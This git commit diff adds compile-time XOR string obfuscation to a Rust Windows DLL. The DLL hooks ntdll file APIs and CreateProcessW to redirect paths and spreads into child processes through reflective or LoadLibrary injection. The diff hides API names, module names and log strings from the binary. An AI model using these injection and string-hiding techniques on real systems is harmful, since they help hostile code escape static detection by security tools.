obfuscation

This commit is contained in:
KingKDot
2026-08-19 17:57:55 -05:00
parent 34ff6fb1b8
commit c0560b0598
24 changed files with 3328 additions and 188 deletions
+4 -9
View File
@@ -1,6 +1,7 @@
//! Redirect configuration read from environment variables on attach.
use crate::abi::GetEnvironmentVariableW;
use crate::{obf16};
const ENV_BUFFER_WCHARS: u32 = 2048;
@@ -10,20 +11,14 @@ pub struct HookConfig {
pub replace: Vec<u16>,
}
const RDI_SEARCH_PATH: &str = "RDI_SEARCH_PATH";
const RDI_REPLACE_PATH: &str = "RDI_REPLACE_PATH";
pub const RDI_DLL_SECTION: &str = "RDI_DLL_SECTION";
pub const RDI_DLL_SIZE: &str = "RDI_DLL_SIZE";
pub fn load() -> HookConfig {
HookConfig {
search: read_env(RDI_SEARCH_PATH),
replace: read_env(RDI_REPLACE_PATH),
search: read_env(&obf16!(b"RDI_SEARCH_PATH")),
replace: read_env(&obf16!(b"RDI_REPLACE_PATH")),
}
}
pub fn read_env(name: &str) -> Vec<u16> {
let name = name.encode_utf16().chain(core::iter::once(0)).collect::<Vec<u16>>();
pub fn read_env(name: &[u16]) -> Vec<u16> {
let mut buf = [0u16; ENV_BUFFER_WCHARS as usize];
unsafe {
let len = GetEnvironmentVariableW(name.as_ptr(), buf.as_mut_ptr(), ENV_BUFFER_WCHARS);
+83 -51
View File
@@ -5,7 +5,46 @@ use std::slice;
use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
use std::sync::OnceLock;
use minhook::MinHook;
mod mh {
//! Thin FFI over the linked MinHook C engine. We bypass the `minhook`
//! crate's wrapper type so its panic/format strings are never emitted.
use core::ffi::{c_int, c_void};
pub const OK: c_int = 0;
const ALL_HOOKS: *mut c_void = -1isize as *mut c_void;
unsafe extern "system" {
fn MH_Initialize() -> c_int;
fn MH_CreateHook(target: *mut c_void, detour: *mut c_void, original: *mut *mut c_void)
-> c_int;
fn MH_EnableHook(target: *mut c_void) -> c_int;
fn MH_RemoveHook(target: *mut c_void) -> c_int;
fn MH_DisableHook(target: *mut c_void) -> c_int;
}
pub fn init() {
let _ = unsafe { MH_Initialize() };
}
pub fn disable_all() {
let _ = unsafe { MH_DisableHook(ALL_HOOKS) };
}
pub fn create_hook(target: *mut c_void, detour: *mut c_void) -> (c_int, *mut c_void) {
let mut original: *mut c_void = core::ptr::null_mut();
let status = unsafe { MH_CreateHook(target, detour, &mut original) };
(status, original)
}
pub fn enable_hook(target: *mut c_void) -> c_int {
unsafe { MH_EnableHook(target) }
}
pub fn remove_hook(target: *mut c_void) {
let _ = unsafe { MH_RemoveHook(target) };
}
}
use crate::abi::{
self, CreateProcessWFn, IoStatusBlock, NtCreateFileFn, NtDeleteFileFn, NtOpenFileFn,
@@ -15,7 +54,7 @@ use crate::abi::{
use crate::config::HookConfig;
use crate::inject;
use crate::util::{self, UNICODE_STRING_MAX_WCHARS};
use crate::dbg_log;
use crate::{dbg_log, obf, obf16};
static HOOKS_CONFIG: OnceLock<HookConfig> = OnceLock::new();
@@ -374,7 +413,7 @@ pub extern "system" fn detour_create_process_w(
let child_pid = unsafe { (*lp_process_information).dwProcessId };
if !HOOKS_INITIALIZED.load(Ordering::SeqCst) {
dbg_log!(
"CreateProcessW child pid={child_pid} created but hooks NOT active — skipping injection"
"cpr child pid={child_pid} created but hooks NOT active — skipping injection"
);
} else {
let h_process = unsafe { (*lp_process_information).hProcess };
@@ -382,17 +421,17 @@ pub extern "system" fn detour_create_process_w(
unsafe { inject::inject_reflective(h_process, bytes) }
} else if let Some(path) = inject::our_path() {
if path.is_empty() {
dbg_log!("CreateProcessW child pid={child_pid} injection skipped: our_path empty");
dbg_log!("cpr child pid={child_pid} injection skipped: our_path empty");
false
} else {
unsafe { inject::inject_library(h_process, path) }
}
} else {
dbg_log!("CreateProcessW child pid={child_pid} injection skipped: no dll bytes or path");
dbg_log!("cpr child pid={child_pid} injection skipped: no dll bytes or path");
false
};
dbg_log!(
"CreateProcessW child pid={child_pid} app='{}' inject={injected} mode={} suspended_forced={}",
"cpr child pid={child_pid} app='{}' inject={injected} mode={} suspended_forced={}",
display_cmd(lp_application_name, lp_command_line),
if inject::dll_bytes().is_some() { "reflective" } else { "loadlibrary" },
!was_suspended,
@@ -405,7 +444,7 @@ pub extern "system" fn detour_create_process_w(
}
} else {
dbg_log!(
"CreateProcessW failed or no proc info (result={result}) — no injection"
"cpr failed or no proc info (result={result}) — no injection"
);
}
@@ -447,30 +486,27 @@ fn install_one(
);
return false;
}
match unsafe { MinHook::create_hook(target as *mut c_void, detour as *mut c_void) } {
Ok(orig) => match unsafe { MinHook::enable_hook(target as *mut c_void) } {
Ok(()) => {
store.store(orig as usize, Ordering::SeqCst);
true
}
Err(why) => {
let _ = unsafe { MinHook::remove_hook(target as *mut c_void) };
dbg_log!(
"hook enable failed for '{}': {:?}",
String::from_utf8_lossy(&proc_name[..proc_name.len().saturating_sub(1)]),
why
);
false
}
},
Err(why) => {
dbg_log!(
"hook create failed for '{}': {:?}",
String::from_utf8_lossy(&proc_name[..proc_name.len().saturating_sub(1)]),
why
);
false
}
let (status, orig) = mh::create_hook(target as *mut c_void, detour as *mut c_void);
if status != mh::OK {
dbg_log!(
"hook create failed for '{}': status={}",
String::from_utf8_lossy(&proc_name[..proc_name.len().saturating_sub(1)]),
status
);
return false;
}
let status = mh::enable_hook(target as *mut c_void);
if status == mh::OK {
store.store(orig as usize, Ordering::SeqCst);
true
} else {
mh::remove_hook(target as *mut c_void);
dbg_log!(
"hook enable failed for '{}': status={}",
String::from_utf8_lossy(&proc_name[..proc_name.len().saturating_sub(1)]),
status
);
false
}
}
@@ -483,32 +519,30 @@ pub fn install(cfg: HookConfig) {
redirect_on,
);
let _ = HOOKS_CONFIG.set(cfg);
mh::init();
let ntdll = util::wide_zstr("ntdll.dll");
let kernel32 = util::wide_zstr("kernel32.dll");
let ntdll = obf16!(b"ntdll.dll");
let kernel32 = obf16!(b"kernel32.dll");
let create = install_one(&ntdll, b"NtCreateFile\0", detour_nt_create_file as *const () as usize, &ORIG_NT_CREATE_FILE);
let open = install_one(&ntdll, b"NtOpenFile\0", detour_nt_open_file as *const () as usize, &ORIG_NT_OPEN_FILE);
let delete = install_one(&ntdll, b"NtDeleteFile\0", detour_nt_delete_file as *const () as usize, &ORIG_NT_DELETE_FILE);
let set_info = install_one(&ntdll, b"NtSetInformationFile\0", detour_nt_set_information_file as *const () as usize, &ORIG_NT_SET_INFORMATION_FILE);
let query_attrs = install_one(&ntdll, b"NtQueryAttributesFile\0", detour_nt_query_attributes_file as *const () as usize, &ORIG_NT_QUERY_ATTRIBUTES_FILE);
let query_full = install_one(&ntdll, b"NtQueryFullAttributesFile\0", detour_nt_query_full_attributes_file as *const () as usize, &ORIG_NT_QUERY_FULL_ATTRIBUTES_FILE);
let cpr = install_one(&kernel32, b"CreateProcessW\0", detour_create_process_w as *const () as usize, &ORIG_CREATE_PROCESS_W);
let create = install_one(&ntdll, &obf!(b"NtCreateFile"), detour_nt_create_file as *const () as usize, &ORIG_NT_CREATE_FILE);
let open = install_one(&ntdll, &obf!(b"NtOpenFile"), detour_nt_open_file as *const () as usize, &ORIG_NT_OPEN_FILE);
let delete = install_one(&ntdll, &obf!(b"NtDeleteFile"), detour_nt_delete_file as *const () as usize, &ORIG_NT_DELETE_FILE);
let set_info = install_one(&ntdll, &obf!(b"NtSetInformationFile"), detour_nt_set_information_file as *const () as usize, &ORIG_NT_SET_INFORMATION_FILE);
let query_attrs = install_one(&ntdll, &obf!(b"NtQueryAttributesFile"), detour_nt_query_attributes_file as *const () as usize, &ORIG_NT_QUERY_ATTRIBUTES_FILE);
let query_full = install_one(&ntdll, &obf!(b"NtQueryFullAttributesFile"), detour_nt_query_full_attributes_file as *const () as usize, &ORIG_NT_QUERY_FULL_ATTRIBUTES_FILE);
let cpr = install_one(&kernel32, &obf!(b"CreateProcessW"), detour_create_process_w as *const () as usize, &ORIG_CREATE_PROCESS_W);
let _ = (delete, set_info, query_attrs, query_full);
dbg_log!(
"install: NtCreateFile={} NtOpenFile={} NtDeleteFile={} NtSetInformationFile={} NtQueryAttributesFile={} NtQueryFullAttributesFile={} CreateProcessW={}",
create, open, delete, set_info, query_attrs, query_full, cpr,
);
dbg_log!("install: f0={} f1={} f2={} f3={} f4={} f5={} f6={}",
create, open, delete, set_info, query_attrs, query_full, cpr,
);
if create && open {
HOOKS_INITIALIZED.store(true, Ordering::SeqCst);
dbg_log!("install: hooks active (both NtCreateFile and NtOpenFile live)");
dbg_log!("install: hooks active (both create and open live)");
} else {
unsafe {
let _ = MinHook::disable_all_hooks();
}
mh::disable_all();
ORIG_NT_CREATE_FILE.store(0, Ordering::SeqCst);
ORIG_NT_OPEN_FILE.store(0, Ordering::SeqCst);
ORIG_NT_DELETE_FILE.store(0, Ordering::SeqCst);
@@ -521,9 +555,7 @@ pub fn install(cfg: HookConfig) {
}
pub fn remove() {
unsafe {
let _ = MinHook::disable_all_hooks();
}
mh::disable_all();
unsafe {
abi::Sleep(50);
}
+13 -11
View File
@@ -14,6 +14,7 @@ use std::sync::OnceLock;
use crate::abi::{self, GetModuleFileNameW};
use crate::dbg_log;
use crate::{obf, obf16};
static OUR_PATH: OnceLock<Vec<u16>> = OnceLock::new();
static DLL_BYTES: OnceLock<Vec<u8>> = OnceLock::new();
@@ -51,23 +52,23 @@ fn dll_path_from_hinst(h_instance: usize) -> Vec<u16> {
/// DLL bytes out of it. Returns None (without touching the section) when the
/// parent did not provide it — the loadlibrary-mode disk fallback then applies.
pub unsafe fn load_dll_bytes_from_section() -> Option<Vec<u8>> {
let name = crate::config::read_env(crate::config::RDI_DLL_SECTION);
let size_raw = crate::config::read_env(crate::config::RDI_DLL_SIZE);
let name = crate::config::read_env(&obf16!(b"RDI_DLL_SECTION"));
let size_raw = crate::config::read_env(&obf16!(b"RDI_DLL_SIZE"));
if name.is_empty() || size_raw.is_empty() {
dbg_log!("section: no RDI_DLL_SECTION/RDI_DLL_SIZE env — reflective child inject disabled");
dbg_log!("section: no section env — reflective child inject disabled");
return None;
}
let mut size: usize = 0;
for &c in &size_raw {
if !(0x30..=0x39).contains(&c) {
dbg_log!("section: RDI_DLL_SIZE not ASCII digits — reflective child inject disabled");
dbg_log!("section: size not ASCII digits — reflective child inject disabled");
return None;
}
size = size.saturating_mul(10).saturating_add((c - 0x30) as usize);
}
if size == 0 {
dbg_log!("section: RDI_DLL_SIZE is 0 — reflective child inject disabled");
dbg_log!("section: size is 0 — reflective child inject disabled");
return None;
}
@@ -152,7 +153,8 @@ fn find_reflective_loader_offset(pe: &[u8]) -> Option<u32> {
let funcs_off = rva_to_file_offset(funcs_rva, pe, section_off, num_sections)? as usize;
let ordinals_off = rva_to_file_offset(ordinals_rva, pe, section_off, num_sections)? as usize;
let find_name = b"ReflectiveLoader";
let find_buf = obf!(b"ReflectiveLoader");
let find_name = &find_buf[..find_buf.len() - 1];
for i in 0..num_names as usize {
let name_ent = names_off + i * 4;
if name_ent + 4 > pe.len() {
@@ -216,7 +218,7 @@ fn rva_to_file_offset(rva: u32, pe: &[u8], section_off: usize, num_sections: u16
/// Returns false on any failure; callers treat failure as fail-open.
pub unsafe fn inject_reflective(process: usize, bytes: &[u8]) -> bool {
let Some(loader_offset) = find_reflective_loader_offset(bytes) else {
dbg_log!("inject-reflective: ReflectiveLoader export not found in DLL bytes");
dbg_log!("inject-reflective: loader export not found in DLL bytes");
return false;
};
dbg_log!("inject-reflective: loader offset=0x{loader_offset:x} size={}", bytes.len());
@@ -288,15 +290,15 @@ pub unsafe fn inject_library(process: usize, path: &[u16]) -> bool {
return false;
}
let kernel32 = crate::util::wide_zstr("kernel32.dll");
let kernel32 = obf16!(b"kernel32.dll");
let k32 = unsafe { abi::GetModuleHandleW(kernel32.as_ptr()) };
if k32 == 0 {
dbg_log!("inject: kernel32 not loaded — abort");
dbg_log!("inject: system dll not loaded — abort");
return false;
}
let load_library_w = unsafe { abi::GetProcAddress(k32, c"LoadLibraryW".as_ptr().cast()) };
let load_library_w = unsafe { abi::GetProcAddress(k32, obf!(b"LoadLibraryW").as_ptr()) };
if load_library_w == 0 {
dbg_log!("inject: LoadLibraryW not found — abort");
dbg_log!("inject: load-fn not found — abort");
return false;
}
+1
View File
@@ -18,6 +18,7 @@
#![allow(clippy::missing_safety_doc)]
#![allow(non_snake_case)]
mod obf;
mod abi;
mod config;
mod hooks;
+32 -11
View File
@@ -12,12 +12,13 @@ use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::{Mutex, OnceLock};
use crate::abi;
use crate::{obf16};
static DEBUG_ENABLED: AtomicBool = AtomicBool::new(false);
static LOG_HANDLE: OnceLock<Mutex<Option<usize>>> = OnceLock::new();
pub fn init_from_env() {
let name = crate::util::wide_zstr("BackstageInjectionDebug");
let name = obf16!(b"BackstageInjectionDebug");
let mut buf = [0u16; 8];
unsafe {
let len = abi::GetEnvironmentVariableW(name.as_ptr(), buf.as_mut_ptr(), buf.len() as u32);
@@ -102,28 +103,48 @@ fn open_log() -> Option<usize> {
}
fn log_paths() -> Option<(Vec<u16>, Vec<u16>, Vec<u16>)> {
let env_name = crate::util::wide_zstr("TEMP");
let env_name = obf16!(b"TEMP");
let mut temp = [0u16; 32768];
unsafe {
let len = abi::GetEnvironmentVariableW(env_name.as_ptr(), temp.as_mut_ptr(), temp.len() as u32);
if len == 0 || len >= temp.len() as u32 {
return None;
}
let prefix = &temp[..len as usize];
let base = concat_z(prefix, &obf16!(b"\\Overlord"));
let dir = concat_z(prefix, &obf16!(b"\\Overlord\\backstage"));
let pid = abi::GetCurrentProcessId();
let base = concat_z(&temp[..len as usize], "\\Overlord");
let dir = concat_z(&temp[..len as usize], "\\Overlord\\backstage");
let file = concat_z(
&temp[..len as usize],
&format!("\\Overlord\\backstage\\BackstageInjection-debug-{pid}.log"),
);
let mut file = prefix.to_vec();
file.extend_from_slice(&obf16!(b"\\Overlord\\backstage\\BackstageInjection-debug-"));
append_pid(&mut file, pid);
file.extend_from_slice(&obf16!(b".log"));
file.push(0);
Some((base, dir, file))
}
}
fn concat_z(prefix: &[u16], suffix: &str) -> Vec<u16> {
let mut v = Vec::with_capacity(prefix.len() + suffix.encode_utf16().count() + 1);
fn concat_z(prefix: &[u16], suffix: &[u16]) -> Vec<u16> {
let mut v = Vec::with_capacity(prefix.len() + suffix.len() + 1);
v.extend_from_slice(prefix);
v.extend(suffix.encode_utf16());
v.extend_from_slice(suffix);
v.push(0);
v
}
fn append_pid(v: &mut Vec<u16>, mut pid: u32) {
if pid == 0 {
v.push(0x0030); // '0'
return;
}
let mut digits = [0u16; 10];
let mut n = 0;
while pid > 0 {
digits[n] = 0x0030 + (pid % 10) as u16;
pid /= 10;
n += 1;
}
while n > 0 {
n -= 1;
v.push(digits[n]);
}
}
+116
View File
@@ -0,0 +1,116 @@
//! Build-time string obfuscation.
//!
//! `obf!` and `obf16!` XOR-encode string literals at compile time so the
//! plaintext never appears as a contiguous byte sequence in the binary's
//! `.rodata`. The runtime expansion decrypts into a fresh, NUL-terminated
//! stack buffer allocated at each call site.
//!
//! - `obf!` produces a `[u8; N]` buffer (N = length + trailing NUL). Use for
//! ANSI strings handed to `GetProcAddress` and friends.
//! - `obf16!` produces a `[u16; N]` buffer (wide). Use for module names, env
//! var names, and paths handed to `GetModuleHandleW`,
//! `GetEnvironmentVariableW`, and `CreateFileW`.
//!
//! Each decrypted byte is committed with a `write_volatile` store, and the XOR
//! key is passed through `core::hint::black_box` so LLVM cannot fold the
//! decrypt and promote the fully constant stack buffer back into `.rodata` as
//! a plaintext global string table.
pub const XOR_KEY8: u8 = 0x3C;
pub const XOR_KEY16: u16 = 0x4D7A;
pub const fn xor8<const N: usize>(src: &[u8], key: u8) -> [u8; N] {
let mut out = [0u8; N];
let n = if N < src.len() { N } else { src.len() };
let mut i = 0;
while i < n {
out[i] = src[i] ^ key;
i += 1;
}
out
}
pub const fn xor16<const N: usize>(src: &[u8], key: u16) -> [u16; N] {
let mut out = [0u16; N];
let n = if N < src.len() { N } else { src.len() };
let mut i = 0;
while i < n {
out[i] = (src[i] as u16) ^ key;
i += 1;
}
out
}
#[macro_export]
macro_rules! obf {
($lit:literal) => {{
const SRC: &[u8] = $lit;
const LEN: usize = SRC.len() + 1;
const ENC: [u8; LEN] = $crate::obf::xor8(SRC, $crate::obf::XOR_KEY8);
let k = core::hint::black_box($crate::obf::XOR_KEY8);
let mut buf = [0u8; LEN];
let mut i = 0;
while i < LEN - 1 {
unsafe {
(buf.as_mut_ptr() as *mut u8)
.add(i)
.write_volatile(ENC[i] ^ k);
}
i += 1;
}
buf
}};
}
#[macro_export]
macro_rules! obf16 {
($lit:literal) => {{
const SRC: &[u8] = $lit;
const LEN: usize = SRC.len() + 1;
const ENC: [u16; LEN] = $crate::obf::xor16(SRC, $crate::obf::XOR_KEY16);
let k = core::hint::black_box($crate::obf::XOR_KEY16);
let mut buf = [0u16; LEN];
let mut i = 0;
while i < LEN - 1 {
unsafe {
(buf.as_mut_ptr() as *mut u16)
.add(i)
.write_volatile(ENC[i] ^ k);
}
i += 1;
}
buf
}};
}
#[cfg(test)]
mod tests {
use super::{xor8, xor16, XOR_KEY8, XOR_KEY16};
#[test]
fn byte_roundtrip_is_nul_terminated() {
let s = obf!(b"ntdll.dll");
assert_eq!(&s[..], b"ntdll.dll\0");
}
#[test]
fn byte_encoded_bytes_are_not_plaintext() {
const ENC: [u8; 10] = xor8(b"ntdll.dll", XOR_KEY8);
assert_ne!(&ENC[..9], b"ntdll.dll");
}
#[test]
fn wide_roundtrip_is_nul_terminated() {
let s = obf16!(b"kernel32.dll");
let mut expect: Vec<u16> = b"kernel32.dll".iter().map(|&c| c as u16).collect();
expect.push(0);
assert_eq!(&s[..], &expect[..]);
}
#[test]
fn wide_encoded_bytes_are_not_plaintext() {
const ENC: [u16; 12] = xor16(b"kernel32.dll", XOR_KEY16);
let plain: Vec<u16> = b"kernel32.dll".iter().map(|&c| c as u16).collect();
assert_ne!(&ENC[..11], &plain[..]);
}
}
+113
View File
@@ -0,0 +1,113 @@
//! Build-time string obfuscation.
//!
//! `obf!` and `obf16!` XOR-encode string literals at compile time so the
//! plaintext never appears as a contiguous byte sequence in the binary's
//! `.rodata`. The runtime expansion decrypts into a fresh, NUL-terminated
//! stack buffer allocated at each call site.
//!
//! - `obf!` produces a `[u8; N]` buffer (N = length + trailing NUL). Use for
//! ANSI strings handed to `GetProcAddress` and friends.
//! - `obf16!` produces a `[u16; N]` buffer (wide). Use for module names, env
//! var names, and paths handed to `GetModuleHandleW`,
//! `GetEnvironmentVariableW`, and `CreateFileW`.
//!
//! Each decrypted byte is committed with a `write_volatile` store. That keeps
//! LLVM from folding the decrypt loop and promoting the fully constant stack
//! buffer back into `.rodata` as a plaintext global string table.
pub const XOR_KEY8: u8 = 0x3C;
pub const XOR_KEY16: u16 = 0x4D7A;
pub const fn xor8<const N: usize>(src: &[u8], key: u8) -> [u8; N] {
let mut out = [0u8; N];
let n = if N < src.len() { N } else { src.len() };
let mut i = 0;
while i < n {
out[i] = src[i] ^ key;
i += 1;
}
out
}
pub const fn xor16<const N: usize>(src: &[u8], key: u16) -> [u16; N] {
let mut out = [0u16; N];
let n = if N < src.len() { N } else { src.len() };
let mut i = 0;
while i < n {
out[i] = (src[i] as u16) ^ key;
i += 1;
}
out
}
#[macro_export]
macro_rules! obf {
($lit:literal) => {{
const SRC: &[u8] = $lit;
const LEN: usize = SRC.len() + 1;
const ENC: [u8; LEN] = $crate::obf::xor8(SRC, $crate::obf::XOR_KEY8);
let mut buf = [0u8; LEN];
let mut i = 0;
while i < LEN - 1 {
unsafe {
(buf.as_mut_ptr() as *mut u8)
.add(i)
.write_volatile(ENC[i] ^ $crate::obf::XOR_KEY8);
}
i += 1;
}
buf
}};
}
#[macro_export]
macro_rules! obf16 {
($lit:literal) => {{
const SRC: &[u8] = $lit;
const LEN: usize = SRC.len() + 1;
const ENC: [u16; LEN] = $crate::obf::xor16(SRC, $crate::obf::XOR_KEY16);
let mut buf = [0u16; LEN];
let mut i = 0;
while i < LEN - 1 {
unsafe {
(buf.as_mut_ptr() as *mut u16)
.add(i)
.write_volatile(ENC[i] ^ $crate::obf::XOR_KEY16);
}
i += 1;
}
buf
}};
}
#[cfg(test)]
mod tests {
use super::{xor8, xor16, XOR_KEY8, XOR_KEY16};
#[test]
fn byte_roundtrip_is_nul_terminated() {
let s = obf!(b"ntdll.dll");
assert_eq!(&s[..], b"ntdll.dll\0");
}
#[test]
fn byte_encoded_bytes_are_not_plaintext() {
const ENC: [u8; 10] = xor8(b"ntdll.dll", XOR_KEY8);
assert_ne!(&ENC[..9], b"ntdll.dll");
}
#[test]
fn wide_roundtrip_is_nul_terminated() {
let s = obf16!(b"kernel32.dll");
let mut expect: Vec<u16> = b"kernel32.dll".iter().map(|&c| c as u16).collect();
expect.push(0);
assert_eq!(&s[..], &expect[..]);
}
#[test]
fn wide_encoded_bytes_are_not_plaintext() {
const ENC: [u16; 12] = xor16(b"kernel32.dll", XOR_KEY16);
let plain: Vec<u16> = b"kernel32.dll".iter().map(|&c| c as u16).collect();
assert_ne!(&ENC[..11], &plain[..]);
}
}
+3 -8
View File
@@ -4,10 +4,6 @@ use crate::abi::{CSTR_EQUAL, CompareStringOrdinal};
pub const UNICODE_STRING_MAX_WCHARS: usize = 32767;
pub fn wide_zstr(s: &str) -> Vec<u16> {
s.encode_utf16().chain(core::iter::once(0)).collect()
}
pub fn ci_eq(a: &[u16], b: &[u16]) -> bool {
if a.is_empty() || b.is_empty() {
return a.is_empty() && b.is_empty();
@@ -35,10 +31,9 @@ pub fn normalize_path(path: &[u16]) -> (&[u16], usize) {
if path.len() >= 4 && path[0] == 0x005C && path[1] == 0x003F && path[2] == 0x003F && path[3] == 0x005C {
return (&path[4..], 4);
}
const DEVICE_PREFIX: &[u16] = &[
0x005C, 0x0044, 0x0065, 0x0076, 0x0069, 0x0063, 0x0065, 0x005C,
];
if path.len() >= DEVICE_PREFIX.len() && ci_eq(&path[..DEVICE_PREFIX.len()], DEVICE_PREFIX) {
let dev_pfx = crate::obf16!(b"\\Device\\");
let pfx = &dev_pfx[..dev_pfx.len() - 1];
if path.len() >= pfx.len() && ci_eq(&path[..pfx.len()], pfx) {
return (path, 0);
}
(path, 0)